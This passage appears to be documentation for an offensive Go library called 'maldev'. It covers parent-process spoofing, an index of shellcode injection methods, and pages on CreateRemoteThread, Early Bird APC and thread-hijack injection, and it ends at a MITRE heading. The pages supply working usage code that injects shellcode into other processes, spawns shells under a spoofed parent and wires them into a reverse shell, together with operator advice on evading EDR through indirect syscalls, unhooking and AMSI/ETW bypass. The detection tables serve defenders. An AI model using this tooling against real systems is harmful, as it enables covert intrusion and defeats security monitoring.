    participant Explorer as "explorer.exe (PID 1234)"
    participant Kernel as "Windows Kernel"
    participant Child as "cmd.exe (child)"

    Attacker->>Kernel: OpenProcess(PROCESS_CREATE_PROCESS, explorer PID)
    Kernel-->>Attacker: hParent

    Note over Attacker: Build PROC_THREAD_ATTRIBUTE_LIST<br>with PARENT_PROCESS = hParent

    Attacker->>Kernel: CreateProcess(cmd.exe, EXTENDED_STARTUPINFO)
    Kernel->>Child: Create process
    Kernel-->>Child: ParentProcessId = 1234 (explorer)

    Note over Child: Process tree shows:<br>explorer.exe → cmd.exe<br>(not malware.exe → cmd.exe)

Step-by-step:

  1. Find target parent -- Enumerate running processes to find a suitable legitimate parent (e.g., explorer.exe, svchost.exe).
  2. OpenProcess(PROCESS_CREATE_PROCESS) -- Open the target with the minimum right needed for PPID spoofing.
  3. Build SysProcAttr -- Set ParentProcess to the opened handle. Go 1.24+ handles the PROC_THREAD_ATTRIBUTE_LIST plumbing automatically.
  4. CreateProcess -- Spawn the child process. Windows sets the child's ParentProcessId to the target, not the actual creator.

Default Targets

maldev searches for these processes in order (first match wins):

ProcessWhy
explorer.exeEvery interactive session has one. Most natural parent for user-facing apps.
svchost.exeDozens of instances. Services spawning children is normal.
sihost.exeShell Infrastructure Host. Present in every session.
RuntimeBroker.exeUWP broker. Common, low-profile parent.

Usage

package main

import (
    "fmt"
    "os/exec"

    "golang.org/x/sys/windows"

    "github.com/oioio-space/maldev/c2/shell"
)

func main() {
    spoofer := shell.NewPPIDSpoofer()

    if err := spoofer.FindTargetProcess(); err != nil {
        panic(err)
    }
    fmt.Printf("Spoofing parent to PID %d\n", spoofer.TargetPID())

    attr, parentHandle, err := spoofer.SysProcAttr()
    if err != nil {
        panic(err)
    }
    defer windows.CloseHandle(parentHandle)

    cmd := exec.Command("cmd.exe", "/c", "whoami")
    cmd.SysProcAttr = attr
    out, err := cmd.Output()
    if err != nil {
        panic(err)
    }
    fmt.Printf("Output: %s\n", out)
}

Custom Targets

// Target a specific process
spoofer := shell.NewPPIDSpooferWithTargets([]string{"winlogon.exe"})

if err := spoofer.FindTargetProcess(); err != nil {
    // winlogon.exe requires SeDebugPrivilege to open
    panic(err)
}

Integration with Reverse Shell

The PPID spoofer integrates naturally with c2/shell for reverse shell scenarios:

// The reverse shell can spawn under a spoofed parent,
// making the shell process appear as a child of explorer.exe
// in EDR process trees.
spoofer := shell.NewPPIDSpoofer()
spoofer.FindTargetProcess()
attr, handle, _ := spoofer.SysProcAttr()
defer windows.CloseHandle(handle)

cmd := exec.Command("cmd.exe")
cmd.SysProcAttr = attr
// ... bind to transport

Advantages & Limitations

AspectDetail
StealthMedium -- fools basic process tree analysis, but advanced EDR can correlate the real creator via ETW ProcessStart events or kernel callbacks.
CompatibilityWindows Vista+ (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS). Go 1.24+ for native SysProcAttr.ParentProcess.
PrivilegesPROCESS_CREATE_PROCESS on the target parent. For system processes (winlogon.exe, lsass.exe), SeDebugPrivilege is required.
Exploit GuardWindows Exploit Guard / ASR rules can block PPID spoofing on hardened systems (Windows 10 22H2+). The test SKIPs in this case.
ScopeOnly affects the parent PID in the process tree. The child still inherits the creator's token unless explicit token manipulation is also performed.
Go 1.24+Uses native syscall.SysProcAttr.ParentProcess -- no CGO, no manual attribute list management.

Detection

Defenders can detect PPID spoofing via:

  1. ETW ProcessStart events -- The CreatingProcessId field in the kernel event shows the real creator, not the spoofed parent.
  2. Handle table analysis -- The creator must have an open handle to the target parent with PROCESS_CREATE_PROCESS.
  3. Behavioral anomalies -- A child process's token/session doesn't match the supposed parent's session.
  4. Sysmon Event ID 1 -- ParentProcessId vs ParentProcessGuid can reveal mismatches.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/process/spawn is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

See also

Injection techniques

← maldev README · docs/index

The inject/ package supplies a unified Windows + Linux injection surface: 16 Windows methods, 3 Linux methods, plus a Pipeline pattern for custom memory + executor combinations. Every method implements Injector; self-process methods additionally implement SelfInjector so the freshly-allocated region can be wired into evasion/sleepmask or cleanup/memory.WipeAndFree without re-deriving address and size.

TL;DR

flowchart LR
    SC[shellcode] --> M{target}
    M -->|self| S[CreateThread / Fiber / EtwpCreateEtwThread / ThreadPool / Callback]
    M -->|child suspended| C[EarlyBird APC / Thread Hijack / spoofed args]
    M -->|existing PID| R[CRT / NtQueueApcThreadEx / SectionMap / KCT / PhantomDLL]
    S -->|via SelfInjector| SM[evasion/sleepmask]
    S -->|via SelfInjector| WM[cleanup/memory.WipeAndFree]

Primer — vocabulary

Seven terms recur across this page and the per-method docs:

Self / Local / Remote / Child — the four "target" classes any injection method falls into. Driven entirely by where the shellcode ends up running. See the table below for the per-class API surface.

Injector — interface every method implements: Inject(shellcode []byte) error. The constructor (NewWindowsInjector(cfg) or NewLinuxInjector(cfg)) wires the right method based on Config.Method.

SelfInjector — extension interface for self-process methods: Region() (addr, size uintptr). Lets downstream consumers (sleepmask, WipeAndFree) recover the allocation without re-deriving it.

*wsyscall.Caller — optional knob (SyscallMethod) selecting how every NTAPI call resolves: WinAPI proc table (default) / direct syscall (asm stub) / indirect syscall (resolve SSN at runtime). nil = WinAPI fallback. See win/syscall.

APC (Asynchronous Procedure Call) — Windows queue every thread carries; functions enqueued fire when the thread next enters an alertable wait. Several methods (Early Bird, NtQueueApcThreadEx) use the APC delivery path to avoid creating a new thread.

CREATE_SUSPENDEDCreateProcess flag that spawns the child in the suspended state. Threads are created but never resumed until the implant finishes mutating memory. Used by Early Bird, Thread Hijack, and Process Arg Spoofing.

Stealth tier — qualitative ranking column in the index below. Combines target class + thread creation + WPM use: low (loud, easy to detect), medium (loses one of the three tells), high (avoids cross-process or thread creation entirely). Not a guarantee against any specific EDR.

Target categories

The target column drives the OPSEC trade-off and the API surface the implant pays for.

TargetMeaningWho pays the costTypical syscalls
SelfShellcode runs in the current maldev-built process.Implant's own processnone cross-process — VirtualAlloc + exec
LocalSame as Self, but the technique deliberately avoids spawning a new thread (callback abuse, pool work, module stomping).Implant's own processVirtualAlloc + EnumWindows / TpPostWork / stomp
RemoteExisting PID supplied by the caller.Target PIDOpenProcess + VirtualAllocEx + WriteProcessMemory (or a section variant) + thread trigger
Child (suspended)Implant spawns a process in CREATE_SUSPENDED, mutates state, resumes.Newly-created childCreateProcess(SUSPENDED) + write + resume / APC / hijack

Stealth ranking by target (general): Local > Child (suspended) > Remote. Local avoids cross-process primitives; Child is acceptable because the process tree is predictable; Remote is the loudest — WriteProcessMemory into an unrelated running process is a textbook EDR trigger.

Per-method index

TechniqueMethod constantTargetCreates thread?Uses WriteProcessMemory?Stealth tier
CreateRemoteThreadMethodCreateRemoteThreadRemoteyesyeslow
Early Bird APCMethodEarlyBirdAPCChild (suspended)no (APC)yesmedium
Thread HijackMethodThreadHijackChild (suspended)noyesmedium
NtQueueApcThreadExMethodNtQueueApcThreadExRemoteno (special APC)yesmedium
Callback executionExecuteCallbackLocalnonohigh
Thread PoolThreadPoolExecLocalno (pool worker)nohigh
Module StompingModuleStompLocalcaller decidesnohigh
Section MappingSectionMapInjectRemoteyesnohigh
Phantom DLLPhantomDLLInjectRemote (placement only)no (caller)yesvery high
Kernel Callback TableKernelCallbackExecRemotenoyeshigh
EtwpCreateEtwThreadMethodEtwpCreateEtwThreadSelfyes (internal)nohigh
Process Argument SpoofingSpawnWithSpoofedArgsChild (suspended)n/a — disguiseyesmedium
Process HollowingHollowChild (suspended, image-replaced)no (reuses spawn thread)yesmoderate

Decision flow

flowchart TD
    Start([Need to run shellcode]) --> Q1{Self or remote?}
    Q1 -->|self-inject| Q2{Need memory stealth?}
    Q1 -->|remote process| Q3{Can spawn a new process?}

    Q2 -->|yes — image-backed| MS[Module Stomping]
    Q2 -->|no| Q4{Avoid thread creation?}

    Q4 -->|yes| CB[Callback execution]
    Q4 -->|pool is fine| TP[Thread Pool]
    Q4 -->|thread is fine| ETW[EtwpCreateEtwThread]

    Q3 -->|yes — cover for the spawn| Q5{Need APC stealth?}
    Q3 -->|no — existing PID| Q6{Avoid WriteProcessMemory?}

    Q5 -->|yes| EB[Early Bird APC]
    Q5 -->|register-mutate| TH[Thread Hijack]
    Q5 -->|disguise args too| AS[Process Arg Spoofing + EB/TH]

    Q6 -->|yes| SM[Section Mapping]
    Q6 -->|WPM is OK| Q7{Win10 1903+?}
    Q7 -->|yes| APCEX[NtQueueApcThreadEx]
    Q7 -->|either way| Q8{Target has windows?}
    Q8 -->|yes| KC[KernelCallbackTable]
    Q8 -->|no| CRT[CreateRemoteThread]

    style MS fill:#2d5016,color:#fff
    style SM fill:#2d5016,color:#fff
    style CB fill:#2d5016,color:#fff
    style TP fill:#2d5016,color:#fff
    style KC fill:#2d5016,color:#fff

Quick decision tree

You want to…Use
…self-inject without spawning a threadcallback-execution.md
…self-inject through a thread-pool workerthread-pool.md
…self-inject image-backed (memory looks like a normal module)module-stomping.md
…spawn a clean new process and queue shellcode pre-initearly-bird-apc.md
…inject into an existing PID with WPM allowedcreate-remote-thread.md
…inject into an existing PID without WriteProcessMemorysection-mapping.md
…blend with a mapped DLL on disk (path-spoof)phantom-dll.md
…land in the GUI message-loop callback tablekernel-callback-table.md
…pivot via a hijacked existing threadthread-hijack.md
…queue a Win10-1903+ APC (special)nt-queue-apc-thread-ex.md
…disguise the spawned child's argvprocess-arg-spoofing.md
…land via the EtwpCreateEtwThread trampolineetwp-create-etw-thread.md

Architecture

All methods implement Injector:

type Injector interface {
    Inject(shellcode []byte) error
}

Build() returns a fluent *InjectorBuilder that selects syscall mode (WinAPI / NativeAPI / direct / indirect with arbitrary SSNResolver), pins target, stacks middleware (WithValidation, WithCPUDelay, WithXOR), and emits an Injector.

inj, err := inject.Build().
    Method(inject.MethodEarlyBirdAPC).
    ProcessPath(`C:\Windows\System32\svchost.exe`).
    IndirectSyscalls().
    Use(inject.WithCPUDelayConfig(inject.CPUDelayConfig{MaxIterations: 10_000_000})).
    Create()

The Pipeline pattern separates memory setup from execution, allowing mix-and-match combinations the named methods do not cover:

p := inject.NewPipeline(
    inject.RemoteMemory(hProcess, caller),
    inject.CreateRemoteThreadExecutor(hProcess, caller),
)
return p.Inject(shellcode)

SelfInjector — recovering the region

Self-process injectors (MethodCreateThread, MethodCreateFiber, MethodEtwpCreateEtwThread on Windows; MethodProcMem on Linux) place the shellcode inside the current process. The base Injector interface throws the address away. The optional SelfInjector interface exposes it:

type Region struct {
    Addr uintptr
    Size uintptr
}

type SelfInjector interface {
    Injector
    InjectedRegion() (Region, bool)
}

Type-assert and feed the region directly into evasion/sleepmask:

inj, _ := inject.NewWindowsInjector(&inject.WindowsConfig{
    Config:        inject.Config{Method: inject.MethodCreateThread},
    SyscallMethod: wsyscall.MethodIndirect,
})
if err := inj.Inject(shellcode); err != nil { return err }

if self, ok := inj.(inject.SelfInjector); ok {
    if r, ok := self.InjectedRegion(); ok {
        mask := sleepmask.New(sleepmask.Region{Addr: r.Addr, Size: r.Size})
        for {
            mask.Sleep(30 * time.Second)
        }
    }
}

Contract:

  • Returns (Region{}, false) before the first successful Inject.
  • Returns (Region{}, false) on cross-process methods (CRT, APC, EarlyBird, ThreadHijack, Rtl, NtQueueApcThreadEx) — the region lives in the target, not the implant.
  • A failed Inject does not clobber a previously-published region.
  • Decorators (WithValidation, WithCPUDelay, WithXOR) and Pipeline forward InjectedRegion transparently.

[!WARNING] MethodCreateFiber noticeConvertThreadToFiber permanently transforms the calling OS thread; Go's M:N scheduler is unaware of fibers, and any goroutine multiplexed onto that thread observes fiber state instead of goroutine state. Real shellcode that calls ExitThread kills the host runtime. Spawn a true OS thread via kernel32!CreateThread (not go func()runtime.LockOSThread is not enough), let it run the fiber dance, let it die when the shellcode exits. The matrix test TestFiber_RealShellcode is permanently skipped — see the comment in inject/realsc_windows_test.go.

Syscall modes

Every Windows injection method routes through one of the four modes on the configured *wsyscall.Caller:

ModeConstantBypassesUse when
WinAPIwsyscall.MethodWinAPInothingtesting / no EDR
Native APIwsyscall.MethodNativeAPIkernel32 hookslight EDR
Direct syscallwsyscall.MethodDirectall userland hooksmedium EDR
Indirect syscallwsyscall.MethodIndirectuserland hooks + CFG checkheavy EDR

Pair with evasion/unhook to defeat ntdll inline hooks before the inject fires.

MITRE ATT&CK

T-IDNameMethodsD3FEND counter
T1055Process InjectionumbrellaD3-PSA
T1055.001DLL InjectionCRT, KCT, ModuleStomp, PhantomDLL, SectionMap, ThreadPool, CallbackD3-PSA / D3-PCSV
T1055.003Thread Execution HijackingThreadHijackD3-PSA
T1055.004Asynchronous Procedure CallEarlyBird, NtQueueApcThreadExD3-PSA
T1055.015ListPlantingCallback (CreateTimerQueueTimer)D3-PCSV
T1564.010Process Argument SpoofingSpawnWithSpoofedArgsD3-PSA
T1036.005Match Legitimate Name or Locationcombine with arg spoofingD3-PSA

See also

CreateRemoteThread injection

← injection index · docs/index

New to maldev injection? Read the injection/README.md vocabulary callout first (Self/Local/Remote/Child, Injector, *wsyscall.Caller, APC, stealth tier). Every per-method page assumes those terms.

TL;DR

The classic, reliable, highly monitored primitive: open a handle to the target PID, allocate RW memory, write the shellcode, flip to RX, spawn a fresh thread at the shellcode address. Works on every Windows version. Choose this only when stealth is not the priority — it is the single most-watched injection path in the matrix.

TraitValue
Target classRemote (existing PID)
Creates a new thread?Yes (NtCreateThreadEx or CreateRemoteThread)
Uses WriteProcessMemory?Yes (NtWriteVirtualMemory under the hood)
Stealth tierLow — every API in the chain is hooked by every commercial EDR
Min Windows versionAll supported (Win7+)
Quietest variantwsyscall.MethodIndirect to bypass userland NTAPI hooks; pair with evasion/preset.Stealth for AMSI/ETW too

When to pick a different method:

Primer

CreateRemoteThread is the textbook process injection. The library opens a handle to a target PID with the four access rights that matter (PROCESS_VM_OPERATION, PROCESS_VM_WRITE, PROCESS_VM_READ, PROCESS_CREATE_THREAD), allocates a page of RW memory inside the target's address space, copies the shellcode in, raises the page to RX, and asks the kernel to spawn a fresh thread whose start address is the shellcode pointer.

Every step has been a known-bad pattern for over a decade. Defender, CrowdStrike, and SentinelOne hook every API in the chain plus the kernel callback PsSetCreateThreadNotifyRoutine. The technique still ships in this package because it is the baseline against which every stealth method measures itself — and because some legitimate debugging tools also use it, so a small amount of background noise exists.

How it works

sequenceDiagram
    participant Impl as "Implant"
    participant Kern as "Kernel"
    participant Tgt as "Target PID"

    Impl->>Kern: OpenProcess(VM_*, CREATE_THREAD)
    Kern-->>Impl: hProcess
    Impl->>Kern: NtAllocateVirtualMemory(RW)
    Kern->>Tgt: page allocated
    Kern-->>Impl: remoteAddr
    Impl->>Kern: NtWriteVirtualMemory(shellcode)
    Kern->>Tgt: bytes copied
    Impl->>Kern: NtProtectVirtualMemory(RX)
    Impl->>Kern: NtCreateThreadEx(remoteAddr)
    Kern->>Tgt: new thread @ shellcode
    Tgt->>Tgt: shellcode runs

Steps:

  1. Open the target with the four access rights.
  2. Allocate in the target via NtAllocateVirtualMemory (RW — never raw RWX, that's an extra signature).
  3. Write the shellcode with NtWriteVirtualMemory.
  4. Re-protect to RX with NtProtectVirtualMemory.
  5. Spawn with NtCreateThreadEx (or CreateRemoteThread if the caller selected wsyscall.MethodWinAPI).

The package fans out steps 2–5 through the configured *wsyscall.Caller, so the same code runs through WinAPI, NativeAPI, direct syscalls, or indirect syscalls depending on EDR posture.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

cfg := inject.DefaultWindowsConfig(inject.MethodCreateRemoteThread, 1234)
inj, err := inject.NewWindowsInjector(cfg)
if err != nil { return err }
return inj.Inject(shellcode)

Composed (indirect syscalls + caller chain)

Bypass userland hooks before the injection fires:

import (
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

inj, err := inject.Build().
    Method(inject.MethodCreateRemoteThread).
    TargetPID(targetPID).
    IndirectSyscalls().
    Resolver(wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate())).
    Create()
if err != nil { return err }
return inj.Inject(shellcode)

Advanced (encrypt + evade + inject + wipe)

import (
    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect,
    wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
_ = evasion.ApplyAll(preset.Stealth(), caller)

shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)

inj, err := inject.Build().
    Method(inject.MethodCreateRemoteThread).
    TargetPID(targetPID).
    IndirectSyscalls().
    Use(inject.WithXORKey(0x41)).
    Use(inject.WithCPUDelayConfig(inject.CPUDelayConfig{MaxIterations: 10_000_000})).
    Create()
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }
memory.SecureZero(shellcode)

Complex (Pipeline with custom memory + executor)

When the named methods do not fit, drop down to the Pipeline:

mem  := inject.RemoteMemory(hProcess, caller)
exec := inject.CreateRemoteThreadExecutor(hProcess, caller)
p    := inject.NewPipeline(mem, exec)
return p.Inject(shellcode)

This separates "where the bytes land" from "how they get triggered" — swap either side independently to build novel chains.

See ExampleNewWindowsInjector and ExampleBuild in inject_example_windows_test.go.

OPSEC & Detection

ArtefactWhere defenders look
OpenProcess with PROCESS_VM_* + PROCESS_CREATE_THREAD from a non-debugger processSysmon Event 10 (ProcessAccess), EDR kernel callback ObCallbackRegister
Cross-process NtWriteVirtualMemorySysmon does not log this directly; EDR userland hooks + kernel ETW (Microsoft-Windows-Kernel-Process)
NtCreateThreadEx start address outside any module imageEDR PsSetCreateThreadNotifyRoutine callback is the canonical detection — flags non-image-backed start addresses
Fresh remote thread with no legitimate call stackStack-walking telemetry (CrowdStrike, MDE) finds the orphan immediately
RWX page in target after NtProtectVirtualMemoryAllocation-protect telemetry — the package avoids this by allocating RW first then flipping to RX, but the X-flip itself is logged

D3FEND counters:

  • D3-PSA — process-spawn analysis correlates the OpenProcessCreateThread pair.
  • D3-EAL — code-integrity policies (WDAC) refuse non-image-backed thread start addresses.

Hardening for the operator: route all four NT calls through indirect syscalls (defeats userland hooks), unhook ntdll first (evasion/unhook), and prefer a different technique entirely if the target enforces ETW-Ti (Threat-Intelligence ETW provider). CRT remains useful only against light EDR or as a deliberately-loud feint.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.001Process Injection: DLL Injectionthread-creation variant of the classic shellcode-injection patternD3-PSA

Limitations

  • Highly visible. Treat as a baseline. Use only when EDR is light or absent.
  • PROCESS_CREATE_THREAD required in the access mask. Some hardened processes (PPL, anti-malware service) cannot be opened with this right.
  • Orphan call stack. The new thread has no legitimate caller history; stack-walking detection trivially flags it.
  • No PPL targets. Protected Process Light denies cross-process thread creation outright. Use a non-PPL target.

See also

  • Early Bird APC — same shape but APC-triggered, avoids the CreateThread event.
  • Thread Hijack — redirects an existing thread instead of creating one.
  • Section Mapping — same target shape but no WriteProcessMemory.
  • evasion/unhook — pair to defeat userland hooks before the injection.
  • win/syscall — the four syscall modes available to every method.

Early Bird APC injection

← injection index · docs/index

New to maldev injection? Read the injection/README.md vocabulary callout first.

TL;DR

Spawn a sacrificial child in CREATE_SUSPENDED state, allocate + write + protect the shellcode in its address space, queue an APC on its main thread, then ResumeThread. The APC fires before the process entry point — no CreateRemoteThread event, no extra thread, predictable timing. Stealth tier: medium.

TraitValue
Target classChild (suspended)
Creates a new thread?No — uses the suspended child's main thread + APC
Uses WriteProcessMemory?Yes (NtWriteVirtualMemory)
Stealth tierMedium — no Create*Thread event; QueueUserAPC itself is observable
Bypasses CreateThread callbacks?Yes — PsSetCreateThreadNotifyRoutine doesn't fire (the thread already existed in suspended state)

When to pick a different method:

Primer

The classic CreateRemoteThread path is loud because the kernel emits a thread-creation event the moment the new thread starts. Early Bird APC sidesteps that by reusing the main thread of a freshly-spawned, suspended child process. The thread already exists (the kernel created it as part of CreateProcess); the implant queues an asynchronous procedure call (APC) on it that points at the shellcode, then resumes it. The kernel dispatches APCs as part of the thread's first user-mode instructions, so the shellcode runs before any of the target process's own initialisation — including CRT, before DllMain, before mainCRTStartup.

The technique is a known pattern (FireEye, FireEye Stories — Early Bird Code Injection, 2018). EDR products correlate CREATE_SUSPENDEDNtQueueApcThreadResumeThread and flag the chain. It still performs better than CRT against signature-based products and basic ETW-Ti consumers because no Create*Thread* API is invoked at all.

How it works

sequenceDiagram
    participant Impl as "Implant"
    participant Kern as "Kernel"
    participant Child as "Child (e.g. notepad.exe, suspended)"

    Impl->>Kern: CreateProcess(CREATE_SUSPENDED)
    Kern->>Child: process + main thread, frozen
    Kern-->>Impl: hProcess, hThread

    Impl->>Kern: NtAllocateVirtualMemory(RW)
    Kern->>Child: page allocated
    Impl->>Kern: NtWriteVirtualMemory(shellcode)
    Kern->>Child: bytes copied
    Impl->>Kern: NtProtectVirtualMemory(RX)

    Impl->>Kern: NtQueueApcThread(hThread, remoteAddr)
    Kern->>Child: APC queued (kernel APC list)
    Impl->>Kern: ResumeThread(hThread)
    Child->>Child: APC dispatch fires before entry
    Child->>Child: shellcode runs, then process resumes

Steps:

  1. Spawn the sacrificial child with CREATE_SUSPENDED (default notepad.exe; pass ProcessPath to override).
  2. Allocate / write / protect in the child as for CRT.
  3. Queue APC on the main thread via NtQueueApcThread. The kernel inserts the routine pointer into the thread's user-mode APC queue.
  4. Resume the main thread. The kernel pops the APC before delivering control to the original entry point.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

cfg := &inject.WindowsConfig{
    Config: inject.Config{
        Method:      inject.MethodEarlyBirdAPC,
        ProcessPath: `C:\Windows\System32\notepad.exe`,
    },
}
inj, err := inject.NewWindowsInjector(cfg)
if err != nil { return err }
return inj.Inject(shellcode)

Composed (sacrificial parent + indirect syscalls)

inj, err := inject.Build().
    Method(inject.MethodEarlyBirdAPC).
    ProcessPath(`C:\Windows\System32\svchost.exe`).
    IndirectSyscalls().
    Create()
if err != nil { return err }
return inj.Inject(shellcode)

Advanced (chain with evasion + sleep mask)

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
)

_ = evasion.ApplyAll(preset.Minimal(), nil)

inj, err := inject.Build().
    Method(inject.MethodEarlyBirdAPC).
    ProcessPath(`C:\Windows\System32\WerFault.exe`).
    IndirectSyscalls().
    Use(inject.WithCPUDelayConfig(inject.CPUDelayConfig{MaxIterations: 8_000_000})).
    WithFallback().
    Create()
if err != nil { return err }
return inj.Inject(shellcode)

Complex (parent-process spoofing for the spawn)

The package does not change the parent of the spawned child by itself; to set a non-explorer.exe parent (e.g. spawn under services.exe), combine with process/spoofparent:

// Pseudo-code illustrating the chain — the actual API is in
// process/spoofparent.

import (
    "github.com/oioio-space/maldev/inject"
    "github.com/oioio-space/maldev/process/spoofparent"
)

token, _ := spoofparent.AcquireParentToken("services.exe")
defer token.Close()

inj, err := inject.Build().
    Method(inject.MethodEarlyBirdAPC).
    ProcessPath(`C:\Windows\System32\svchost.exe`).
    IndirectSyscalls().
    Create()
if err != nil { return err }
spoofparent.RunAs(token, func() error { return inj.Inject(shellcode) })

See the per-method tests in inject/builder_test.go for runnable variations.

OPSEC & Detection

ArtefactWhere defenders look
Process spawned with CREATE_SUSPENDED flagSysmon Event 1 — CreationFlags includes 0x4. Defenders alert on notepad.exe / svchost.exe spawned suspended by an unusual parent
NtQueueApcThread to a thread of a freshly-spawned processEDR userland hooks + ETW-Ti ApcQueue events
Memory page in child written from outsideCross-process NtWriteVirtualMemory telemetry
Process tree mismatchA notepad.exe child of a non-explorer.exe parent is a strong signal

D3FEND counters:

  • D3-PSA — flags CREATE_SUSPENDED + queued APC sequences.
  • D3-PCSV — verifies that thread start addresses match a known image.

Hardening for the operator: randomise the sacrificial executable between runs; pair with PPID spoofing so the child looks like it belongs to its target parent; route the four NT calls through indirect syscalls so the userland-hook variant of the chain is invisible.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.004Process Injection: Asynchronous Procedure Callchild-process variant queued before any user-mode code runsD3-PSA

Limitations

  • Visible child process. A foreign notepad.exe (or whatever ProcessPath points at) appears under the implant's parent. Choose something that blends in, or pair with PPID spoofing.
  • Position-independent shellcode required. The APC fires before CRT initialisation; library functions and globals are not yet set up.
  • Child must stay alive. The shellcode runs in the child's process; if the child exits, the implant dies with it. Long-running payloads should detach (spawn a thread inside the child or LoadLibrary a DLL).
  • CREATE_SUSPENDED is signal. Even with PPID spoofing, the combination of suspended-spawn + early APC is a known FireEye-2018 pattern.

See also

Thread execution hijacking

← injection index · docs/index

New to maldev injection? Read the injection/README.md vocabulary callout first.

TL;DR

Spawn a CREATE_SUSPENDED child, allocate + write + protect shellcode in its address space, then mutate its main thread's saved register state so RIP points at the shellcode before resuming. No new thread, no APC — the existing thread is redirected at the CPU-context level. Stealth tier: medium; the trade-off is a NtSetContextThread on a non-debugger flow, which EDR specifically watches.

TraitValue
Target classChild (suspended)
Creates a new thread?No — redirects the existing main thread via NtSetContextThread
Uses WriteProcessMemory?Yes (NtWriteVirtualMemory)
Stealth tierMedium — no Create*Thread, no APC; NtSetContextThread outside debug context is the EDR signal
Bypasses CreateThread callbacks?Yes — same reasoning as Early Bird APC

When to pick a different method:

  • Want APC delivery instead of register mutation? → Early Bird APC — sister technique, same setup, different trigger.
  • Want to inject into an existing PID? → Thread Hijack works on any thread you can OpenProcess(PROCESS_VM_*) — but the existing thread interrupt is louder than APC.
  • Want the spawn itself to look like another process? → Pair with Process Arg Spoofing.

Primer

CreateRemoteThread creates a new thread; EarlyBird queues an APC. Thread Execution Hijacking does neither — it abuses the fact that Windows lets a debugger (or anything with THREAD_GET_CONTEXT | THREAD_SET_CONTEXT) pause a thread, read its full register file, edit the instruction pointer, write the registers back, and resume. The implant takes the same path: pause → read CONTEXT → write Rip to the shellcode address → write back → ResumeThread.

The result is that the sacrificial child's main thread starts running at the shellcode address instead of the original entry point. No Create*Thread* event ever fires. The trade-off is the NtSetContextThread system call, which is unusual outside debugger workflows and is itself instrumented by every modern EDR.

The legacy alias MethodProcessHollowing points at this technique; genuine PE hollowing (overwriting the child's image with a different PE) is not implemented in this package.

How it works

sequenceDiagram
    participant Impl as "Implant"
    participant Kern as "Kernel"
    participant Child as "Child (suspended)"

    Impl->>Kern: CreateProcess(CREATE_SUSPENDED)
    Kern->>Child: process + main thread, frozen
    Kern-->>Impl: hProcess, hThread

    Impl->>Kern: NtAllocateVirtualMemory(RW)
    Impl->>Kern: NtWriteVirtualMemory(shellcode)
    Impl->>Kern: NtProtectVirtualMemory(RX)

    Impl->>Kern: NtGetContextThread(hThread)
    Kern-->>Impl: CONTEXT (Rip = original entry)

    Impl->>Impl: ctx.Rip = remoteAddr
    Impl->>Kern: NtSetContextThread(hThread, ctx)
    Kern->>Child: thread Rip rewritten

    Impl->>Kern: ResumeThread(hThread)
    Child->>Child: thread runs at shellcode address

Steps:

  1. Spawn the sacrificial child suspended.
  2. Allocate / write / protect the shellcode in the child.
  3. Get the main thread's CONTEXT (NtGetContextThread) — note that the kernel returns the saved register file because the thread is suspended.
  4. Mutate ctx.Rip (or Eip on x86) to the shellcode address.
  5. Set the modified CONTEXT back (NtSetContextThread).
  6. Resume the thread.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

cfg := &inject.WindowsConfig{
    Config: inject.Config{
        Method:      inject.MethodThreadHijack,
        ProcessPath: `C:\Windows\System32\notepad.exe`,
    },
}
inj, err := inject.NewWindowsInjector(cfg)
if err != nil { return err }
return inj.Inject(shellcode)

Composed (indirect syscalls, hardened sacrificial parent)

inj, err := inject.Build().
    Method(inject.MethodThreadHijack).
    ProcessPath(`C:\Windows\System32\RuntimeBroker.exe`).
    IndirectSyscalls().
    Create()
if err != nil { return err }
return inj.Inject(shellcode)

Advanced (preset evasion + thread hijack)

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
)

_ = evasion.ApplyAll(preset.Stealth(), nil)

inj, err := inject.Build().
    Method(inject.MethodThreadHijack).
    ProcessPath(`C:\Windows\System32\WerFault.exe`).
    IndirectSyscalls().
    Use(inject.WithXORKey(0xA5)).
    Create()
if err != nil { return err }
return inj.Inject(shellcode)

Complex (Pipeline equivalent)

Pipeline does not have a packaged ThreadHijackExecutor (it would need a saved CONTEXT and a thread handle); the named-method path is the supported one. For experimental setups, replicate the logic in inject/injector_remote_windows.go.

OPSEC & Detection

ArtefactWhere defenders look
CREATE_SUSPENDED child of an unusual parentSysmon Event 1 (CreationFlags)
NtSetContextThread on a thread of a freshly-spawned processEDR-Ti providers, userland hooks. Outside debugger workflows this is a high-fidelity signal
Cross-process NtWriteVirtualMemoryEDR userland + ETW
Modified Rip in CONTEXT pointing into a non-image-backed regionEDR memory scanners on the child
Process tree mismatchnotepad.exe child of a non-explorer.exe parent

D3FEND counters:

  • D3-PSACREATE_SUSPENDED + register mutation is the textbook hollowing-family chain.
  • D3-PCSV — verifies thread Rip against image segments.

Hardening for the operator: route NT calls through indirect syscalls; pair with PPID spoofing; choose a sacrificial process whose own initialisation does not race the shellcode (avoid heavyweight binaries that spawn workers immediately).

MITRE ATT&CK
